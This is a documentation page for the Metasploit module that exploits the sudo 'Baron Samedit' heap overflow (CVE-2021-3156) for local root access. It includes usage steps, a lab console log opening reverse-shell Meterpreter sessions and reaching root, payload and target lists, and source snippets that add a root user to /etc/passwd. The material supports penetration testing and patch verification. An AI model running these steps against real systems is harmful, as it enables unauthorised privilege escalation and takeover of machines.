Sudo Heap-Based Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/linux/local/sudo_baron_samedit metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Sudo Heap-Based Buffer Overflow
Module: exploit/linux/local/sudo_baron_samedit
Source code: modules/exploits/linux/local/sudo_baron_samedit.rb
Disclosure date: 2021-01-26
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x64
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-3156

This module is also known as Baron Samedit.

A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2 through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker controlled library which results in it being loaded with the elevated privileges held by sudo.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/sudo_baron_samedit
msf exploit(sudo_baron_samedit) > show targets
    ... a list of targets ...
msf exploit(sudo_baron_samedit) > set TARGET target-id
msf exploit(sudo_baron_samedit) > show options
    ... show and set options ...
msf exploit(sudo_baron_samedit) > set SESSION session-id
msf exploit(sudo_baron_samedit) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2 through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. Most targets use a technique that leverages the overflow to overwrite a service_user struct in memory to reference an attacker controlled library which results in it being loaded with the elevated privileges held by sudo. Other targets coerce an arbitrary line write to /etc/passwd, adding a new root user. This latter technique performs a partial overwrite of a memory address, requiring a brute force of ASLR.

Manual Target

The service_user technique requires a number of lengths / offsets to function correctly. The manual target can be used to specify these values if they are known. To identify the values, use the brute.sh script from the original PoC repository at blasty/CVE-2021-3156. This will only work on systems with tcache support in libc (>= 2.26).

On the target system, the rough steps include:

  1. Clone the repository, install necessary build tools and GNU parallel (sudo apt-get install parallel on Debian-based systems)
  2. Do: make brute
  3. Do: ./brute.sh ... with the desired options to bruteforce, (see the README.md)
  4. Wait for the bruteforce to complete, hopefully finding a successful option.

    Successful results will be written to the success.txt file. They will look something like this:

    ** CVE-2021-3156 PoC by blasty 
    
    using target: Manual ['/usr/bin/sudoedit'] (56, 57, 60, 200)
    ** pray for your rootshell.. **
    [+] bl1ng bl1ng! We got it!
    

    In this case 56, 57, 60, 200 are the required values.

  5. From Metasploit

    1. Do: set TARGET Manual to specify the manual target
    2. Do: set Lengths 56, 57, 60, 200 to set the explicit lengths (substitute the numbers as necessary)

Verification Steps


Example steps in this format (is also in the PR):

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/local/sudo_baron_samedit
  4. Set the necessary options (target, payload, etc.)
  5. Do: run

Options


WritableDir

A directory where you can write files. The necessary source code will be uploaded and compiled to here, along with the payload library.

Lengths

This is an advanced option.

The lengths to set as used by the manual target. See the "Manual Target" section.

NewUser

This is an advanced option.

For targets using the second technique (adding a user to /etc/passwd), this is the name of the user. In the event of a successful exploit, the module will remove that user from /etc/passwd as a cleanup measure. If the exploit partially succeeds (that is, writes to /etc/passwd, but does not result in a shell), this account will need to be manually cleaned up.

NewPassword

This is an advanced option.

For targets using the second technique (adding a user to /etc/passwd), this is the new password. If left blank, the system creates a long, random password.

Scenarios


Ubuntu 20.04.1 x64

msf6 exploit(multi/ssh/sshexec) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.34:22 - Sending stager...
[*] Command Stager progress -  42.75% done (342/800 bytes)
[*] Sending stage (980808 bytes) to 192.168.159.34
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.34:47868) at 2021-02-11 11:55:21 -0500
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (800/800 bytes)

meterpreter > getuid
Server username: smcintyre @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer     : 192.168.159.34
OS           : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/ssh/sshexec) > use exploit/linux/local/sudo_baron_samedit
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/sudo_baron_samedit) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/sudo_baron_samedit) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/local/sudo_baron_samedit) > set TARGET Automatic
TARGET => Automatic
msf6 exploit(linux/local/sudo_baron_samedit) > exploit

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. sudo 1.8.31 maybe a vulnerable build.
[*] Using automatically selected target: Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)
[*] Writing '/tmp/libnss_9S9MeS/tB8M .so.2' (564 bytes) ...
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.34:47870) at 2021-02-11 11:55:56 -0500
[+] Deleted /tmp/p60htQTDNO
[+] Deleted /tmp/libnss_9S9MeS/tB8M .so.2
[+] Deleted /tmp/libnss_9S9MeS

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 192.168.159.34
OS           : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the linux/local/sudo_baron_samedit exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/sudo_baron_samedit

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/sudo_baron_samedit) > show info

       Name: Sudo Heap-Based Buffer Overflow
     Module: exploit/linux/local/sudo_baron_samedit
   Platform: Unix, Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-01-26

Provided by:
  Qualys
  Spencer McIntyre
  bwatters-r7
  smashery
  blasty <[email protected]>
  worawit
  Alexander Krog

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)
  2   Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31) - alternative
  3   Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)
  4   Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)
  5   Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27) - alternative
  6   Ubuntu 16.04 x64 (sudo v1.8.16, libc v2.23)
  7   Ubuntu 14.04 x64 (sudo v1.8.9p5, libc v2.19)
  8   Debian 10 x64 (sudo v1.8.27, libc v2.28)
  9   Debian 10 x64 (sudo v1.8.27, libc v2.28) - alternative
  10  CentOS 8 x64 (sudo v1.8.25p1, libc v2.28)
  11  CentOS 7 x64 (sudo v1.8.23, libc v2.17)
  12  CentOS 7 x64 (sudo v1.8.23, libc v2.17) - alternative
  13  Fedora 27 x64 (sudo v1.8.21p2, libc v2.26)
  14  Fedora 26 x64 (sudo v1.8.20p2, libc v2.25)
  15  Fedora 25 x64 (sudo v1.8.18, libc v2.24)
  16  Fedora 24 x64 (sudo v1.8.16, libc v2.23)
  17  Fedora 23 x64 (sudo v1.8.14p3, libc v2.22)
  18  Manual

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SESSION                       yes       The session to run this module on.
  WritableDir  /tmp             yes       A directory where you can write files.

Payload information:

Description:
  A heap based buffer overflow exists in the sudo command line utility 
  that can be exploited by a local attacker to gain elevated 
  privileges. The vulnerability was introduced in July of 2011 and 
  affects version 1.8.2 through 1.8.31p2 as well as 1.9.0 through 
  1.9.5p1 in their default configurations. The technique used by this 
  implementation leverages the overflow to overwrite a service_user 
  struct in memory to reference an attacker controlled library which 
  results in it being loaded with the elevated privileges held by 
  sudo.

References:
  https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
  https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
  https://www.kalmarunionen.dk/writeups/sudo/
  https://github.com/blasty/CVE-2021-3156/blob/main/hax.c
  https://nvd.nist.gov/vuln/detail/CVE-2021-3156

Also known as:
  Baron Samedit

Module Options


This is a complete list of options available in the linux/local/sudo_baron_samedit exploit:

msf6 exploit(linux/local/sudo_baron_samedit) > show options

Module options (exploit/linux/local/sudo_baron_samedit):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION                       yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where you can write files.

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the linux/local/sudo_baron_samedit exploit:

msf6 exploit(linux/local/sudo_baron_samedit) > show advanced

Module advanced options (exploit/linux/local/sudo_baron_samedit):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   NewPassword                              no        A password to add for NewUser (if required by exploit target)
   NewUser                 msf              no        A username to add as root (if required by exploit target)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                10               no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                true             no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                true             no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/sudo_baron_samedit module can exploit:

msf6 exploit(linux/local/sudo_baron_samedit) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)
   2   Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31) - alternative
   3   Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)
   4   Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)
   5   Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27) - alternative
   6   Ubuntu 16.04 x64 (sudo v1.8.16, libc v2.23)
   7   Ubuntu 14.04 x64 (sudo v1.8.9p5, libc v2.19)
   8   Debian 10 x64 (sudo v1.8.27, libc v2.28)
   9   Debian 10 x64 (sudo v1.8.27, libc v2.28) - alternative
   10  CentOS 8 x64 (sudo v1.8.25p1, libc v2.28)
   11  CentOS 7 x64 (sudo v1.8.23, libc v2.17)
   12  CentOS 7 x64 (sudo v1.8.23, libc v2.17) - alternative
   13  Fedora 27 x64 (sudo v1.8.21p2, libc v2.26)
   14  Fedora 26 x64 (sudo v1.8.20p2, libc v2.25)
   15  Fedora 25 x64 (sudo v1.8.18, libc v2.24)
   16  Fedora 24 x64 (sudo v1.8.16, libc v2.23)
   17  Fedora 23 x64 (sudo v1.8.14p3, libc v2.22)
   18  Manual

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/sudo_baron_samedit exploit:

msf6 exploit(linux/local/sudo_baron_samedit) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   10  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   11  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   12  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   13  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   14  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   15  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/sudo_baron_samedit exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/sudo_baron_samedit) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not identify the version of sudo.


Here is a relevant code snippet related to the "Could not identify the version of sudo." error message:

108:	    versions
109:	  end
110:	
111:	  def check
112:	    sudo_version = get_versions[:sudo]
113:	    return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil?
114:	
115:	    # fixup the p number used by sudo to be compatible with Rex::Version
116:	    sudo_version.gsub!(/p/, '.')
117:	
118:	    vuln_builds = [

sudo <SUDO_VERSION> may be a vulnerable build.


Here is a relevant code snippet related to the "sudo <SUDO_VERSION> may be a vulnerable build." error message:

120:	      [Rex::Version.new('1.9.0'), Rex::Version.new('1.9.5.1')],
121:	    ]
122:	
123:	    if sudo_version == '1.8.31'
124:	      # Ubuntu patched it as version 1.8.31-1ubuntu1.2 which is reported as 1.8.31
125:	      return CheckCode::Detected("sudo #{sudo_version} may be a vulnerable build.")
126:	    end
127:	
128:	    if vuln_builds.any? { |build_range| Rex::Version.new(sudo_version).between?(*build_range) }
129:	      return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.")
130:	    end

sudo <SUDO_VERSION> is a vulnerable build.


Here is a relevant code snippet related to the "sudo <SUDO_VERSION> is a vulnerable build." error message:

124:	      # Ubuntu patched it as version 1.8.31-1ubuntu1.2 which is reported as 1.8.31
125:	      return CheckCode::Detected("sudo #{sudo_version} may be a vulnerable build.")
126:	    end
127:	
128:	    if vuln_builds.any? { |build_range| Rex::Version.new(sudo_version).between?(*build_range) }
129:	      return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.")
130:	    end
131:	
132:	    CheckCode::Safe("sudo #{sudo_version} is not a vulnerable build.")
133:	  end
134:	

sudo <SUDO_VERSION> is not a vulnerable build.


Here is a relevant code snippet related to the "sudo <SUDO_VERSION> is not a vulnerable build." error message:

127:	
128:	    if vuln_builds.any? { |build_range| Rex::Version.new(sudo_version).between?(*build_range) }
129:	      return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.")
130:	    end
131:	
132:	    CheckCode::Safe("sudo #{sudo_version} is not a vulnerable build.")
133:	  end
134:	
135:	  def upload(path, data)
136:	    print_status "Writing '#{path}' (#{data.size} bytes) ..."
137:	    write_file path, data

Failed to automatically identify the target.


Here is a relevant code snippet related to the "Failed to automatically identify the target." error message:

140:	
141:	  def get_automatic_targets
142:	    sysinfo = get_sysinfo
143:	
144:	    selected_targets = targets.each_index.select { |index| targets[index].opts[:version_fingerprint]&.match(sysinfo[:version]) }
145:	    fail_with(Failure::NoTarget, 'Failed to automatically identify the target.') if selected_targets.empty?
146:	    selected_targets
147:	  end
148:	
149:	  def find_exec_program
150:	    return 'python' if command_exists?('python')

/etc/passwd overwritten, but no session created.


Here is a relevant code snippet related to the "/etc/passwd overwritten, but no session created." error message:

190:	        print_status('Run `set target <id>` to select an alternative exploit script')
191:	      end
192:	    end
193:	
194:	    if @inserted_password_hash && !session_created?
195:	      print_warning('/etc/passwd overwritten, but no session created.')
196:	      print_warning('Manual cleanup of the new user in the /etc/passwd file is required.')
197:	      print_warning('Take note of the username and password above - these should work to manually escalate privileges.')
198:	    end
199:	  end
200:	

Manual cleanup of the new user in the /etc/passwd file is required.


Here is a relevant code snippet related to the "Manual cleanup of the new user in the /etc/passwd file is required." error message:

191:	      end
192:	    end
193:	
194:	    if @inserted_password_hash && !session_created?
195:	      print_warning('/etc/passwd overwritten, but no session created.')
196:	      print_warning('Manual cleanup of the new user in the /etc/passwd file is required.')
197:	      print_warning('Take note of the username and password above - these should work to manually escalate privileges.')
198:	    end
199:	  end
200:	
201:	  def on_new_session(new_session)

Take note of the username and password above - these should work to manually escalate privileges.


Here is a relevant code snippet related to the "Take note of the username and password above - these should work to manually escalate privileges." error message:

192:	    end
193:	
194:	    if @inserted_password_hash && !session_created?
195:	      print_warning('/etc/passwd overwritten, but no session created.')
196:	      print_warning('Manual cleanup of the new user in the /etc/passwd file is required.')
197:	      print_warning('Take note of the username and password above - these should work to manually escalate privileges.')
198:	    end
199:	  end
200:	
201:	  def on_new_session(new_session)
202:	    super

The "Lengths" advanced option must be specified for the manual target


Here is a relevant code snippet related to the "The "Lengths" advanced option must be specified for the manual target" error message:

238:	    end
239:	  end
240:	
241:	  def exploit_nss(resolved_target)
242:	    if target.name == 'Manual'
243:	      fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank?
244:	      exploit_params = datastore['Lengths'].gsub(/,/, ' ').gsub(/  +/, ' ')
245:	    else
246:	      exploit_params = resolved_target[:exploit_params].join(' ')
247:	    end
248:	

The python binary was not found


Here is a relevant code snippet related to the "The python binary was not found" error message:

246:	      exploit_params = resolved_target[:exploit_params].join(' ')
247:	    end
248:	
249:	    python_binary = find_exec_program
250:	
251:	    fail_with(Failure::NotFound, 'The python binary was not found') unless python_binary
252:	
253:	    vprint_status("Using '#{python_binary}' to run exploit")
254:	    exploit_script = resolved_target[:exploit_script]
255:	    space = resolved_target[:lib_needs_space] ? ' ' : ''
256:	

The "NewUser" advanced option must be specified for this target


Here is a relevant code snippet related to the "The "NewUser" advanced option must be specified for this target" error message:

268:	    vprint_status("Running #{cmd}")
269:	    cmd_exec(cmd)
270:	  end
271:	
272:	  def exploit_userspec(resolved_target)
273:	    fail_with(Failure::BadConfig, 'The "NewUser" advanced option must be specified for this target') if datastore['NewUser'].blank?
274:	
275:	    python_binary = find_exec_program
276:	    fail_with(Failure::NotFound, 'The python binary was not found') unless python_binary
277:	    vprint_status("Using '#{python_binary}' to run exploit")
278:	

The python binary was not found


Here is a relevant code snippet related to the "The python binary was not found" error message:

271:	
272:	  def exploit_userspec(resolved_target)
273:	    fail_with(Failure::BadConfig, 'The "NewUser" advanced option must be specified for this target') if datastore['NewUser'].blank?
274:	
275:	    python_binary = find_exec_program
276:	    fail_with(Failure::NotFound, 'The python binary was not found') unless python_binary
277:	    vprint_status("Using '#{python_binary}' to run exploit")
278:	
279:	    exploit_script = resolved_target[:exploit_script]
280:	    new_user = datastore['NewUser']
281:	    new_password = datastore['NewPassword']

<NEW_USER> already exists on target system


Here is a relevant code snippet related to the "<NEW_USER> already exists on target system" error message:

283:	
284:	    # Verify that user doesn't already exist (otherwise exploit will succeed but password won't work)
285:	    users = get_users
286:	    user_exists = users.map { |u| u[:name] }.include? new_user
287:	
288:	    fail_with(Failure::BadConfig, "#{new_user} already exists on target system") if user_exists
289:	
290:	    password_hash = new_password.crypt('$6$' + rand(36**8).to_s(36))
291:	
292:	    path = datastore['WritableDir']
293:	

Brute force failed. This can occur 2% of the time even when vulnerable.


Here is a relevant code snippet related to the "Brute force failed. This can occur 2% of the time even when vulnerable." error message:

306:	      uploaded_path = "#{path}/#{elf_name}"
307:	      upload(uploaded_path, generate_payload_exe)
308:	      chmod(uploaded_path, 0o555)
309:	      cmd_exec("/bin/bash -c \"echo #{new_password} | su #{new_user} -c #{uploaded_path}&\"")
310:	    elsif /Brute force failed/ =~ output
311:	      print_error('Brute force failed. This can occur 2% of the time even when vulnerable.')
312:	    else
313:	      print_error('Exploit failed - unlikely to succeed')
314:	    end
315:	  end
316:	

Exploit failed - unlikely to succeed


Here is a relevant code snippet related to the "Exploit failed - unlikely to succeed" error message:

308:	      chmod(uploaded_path, 0o555)
309:	      cmd_exec("/bin/bash -c \"echo #{new_password} | su #{new_user} -c #{uploaded_path}&\"")
310:	    elsif /Brute force failed/ =~ output
311:	      print_error('Brute force failed. This can occur 2% of the time even when vulnerable.')
312:	    else
313:	      print_error('Exploit failed - unlikely to succeed')
314:	    end
315:	  end
316:	
317:	  def rand_overwrite_path
318:	    length = 6

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Qualys
  • Spencer McIntyre
  • bwatters-r7
  • smashery
  • blasty <[email protected]>
  • worawit
  • Alexander Krog

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.